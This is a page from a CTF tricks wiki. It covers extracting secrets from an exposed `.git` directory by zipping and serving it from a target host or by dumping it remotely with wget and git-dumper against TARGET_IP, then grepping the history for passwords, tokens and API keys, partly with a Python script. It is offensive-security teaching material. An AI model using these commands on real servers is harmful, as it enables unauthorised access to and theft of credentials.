> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-6/git/history-analysis/trick-0086.md).

# Extract Sensitive Info from Git History

***

If a `.git` directory is found accessible on a target server, you can download its history to look for secrets accidentally committed and later removed. This involves packaging the directory, transferring it, and analyzing it locally.

On the target machine, navigate to the directory containing the `.git` folder (often the application root) and package it:

```bash
cd /path/to/application/
zip -r /tmp/repo.zip .git/
```

Then, serve the file for easy transfer (e.g., using a simple HTTP server):

```bash
python3 -m http.server 8000
```

On your attacker machine, download the packaged `.git` history and extract it. You can then use tools like GitTools or manual git commands (`git log`, `git grep`, `git checkout`) to analyze the history and recover past file versions. GitTools' `extractor.sh` is often useful for recovering historical snapshots.

```bash
wget http://TARGET_IP:8000/repo.zip
unzip repo.zip
./GitTools/extractor.sh repo/ extracted_git
```

Alternatively, if directory listing is enabled on the web server for the `.git` directory, you can recursively download its contents using wget. The `-r` option enables recursion, `--no-parent` prevents downloading parent directories, `-nH` disables host-prefixed directories, and `-P .git/` saves files into a local .git directory.

```bash
wget -r --no-parent -nH -P .git/ http://TARGET_IP/.git/
```

Specialized tools like `git-dumper` can also automate the process of downloading the `.git` directory. This Python script attempts to download all necessary files and objects to reconstruct the repository locally.

```bash
git-dumper http://TARGET_IP/.git/ /tmp/target-repo
```

For a more manual approach, you can reconstruct the repository by fetching essential files and objects individually using `wget`.

```bash
wget http://TARGET_IP/.git/index
wget http://TARGET_IP/.git/HEAD
wget -r http://TARGET_IP/.git/objects/
wget -r http://TARGET_IP/.git/refs/
git init
git fetch --all
git checkout HEAD
```

After obtaining the `.git` data using any of these methods, it's often a good idea to verify the integrity of the downloaded repository data using `git fsck --full`.

```bash
cd /path/to/your/downloaded/git/folder # e.g. extracted_git or .git/
git fsck --full
```

Then, you can analyze the history. Search the extracted history for common secret patterns like passwords, tokens, or API keys.

```bash
cd extracted_git # Or the directory where the .git folder was downloaded
grep -r "password\|token\|secret\|api_key" ./
```

A more advanced `git grep` command can search for patterns across the history, including context around the matches. The `-C 5` option shows 5 lines of context, `-i` ignores case, and `-P` enables Perl-compatible regular expressions for more complex patterns.

```bash
git grep -C 5 -iP 'passw(or)?d|private ?key|token|api ?key' HEAD
```

Other useful git commands for analysis include:

* `git log -p`: View the history with patch details (diffs) for each commit, making it easier to spot changes where secrets might have been introduced or removed.
* `git checkout <commit_hash> -- <file_path>`: Recover a specific version of a file from a particular commit.
* `git diff <commit1> <commit2>`: Compare two commits to see the changes between them.
* `git grep -i "password" <commit_hash>`: Search for a pattern within a specific commit.

A Python script can also automate the process of checking each commit in the history. It iterates through all commit hashes and uses `git show` to inspect the changes introduced in each commit, searching for common secret patterns.

```python
import os
import subprocess

def find_secrets_in_history(repo_path):
    print(f"Analyzing history in {repo_path}...")
    try:
        # Get all commit hashes
        commit_hashes = subprocess.check_output(["git", "--git-dir", os.path.join(repo_path, ".git"), "log", "--pretty=format:%H"]).decode().splitlines()

        patterns = ["password", "token", "secret", "api_key"]

        for commit_hash in commit_hashes:
            print(f"Checking commit: {commit_hash}")
            try:
                # Show changes introduced in this commit
                diff = subprocess.check_output(["git", "--git-dir", os.path.join(repo_path, ".git"), "show", commit_hash]).decode()
                for pattern in patterns:
                    if pattern in diff:
                        print(f"  Potential secret found in commit {commit_hash} matching pattern: {pattern}")
                        # Optionally, save the commit hash or diff
            except Exception as e:
                print(f"Error processing commit {commit_hash}: {e}")

    except Exception as e:
        print(f"Error getting commit log: {e}")

if __name__ == "__main__":
    target_repo_path = "./extracted_git" # Assuming extracted to this folder
    find_secrets_in_history(target_repo_path)
```
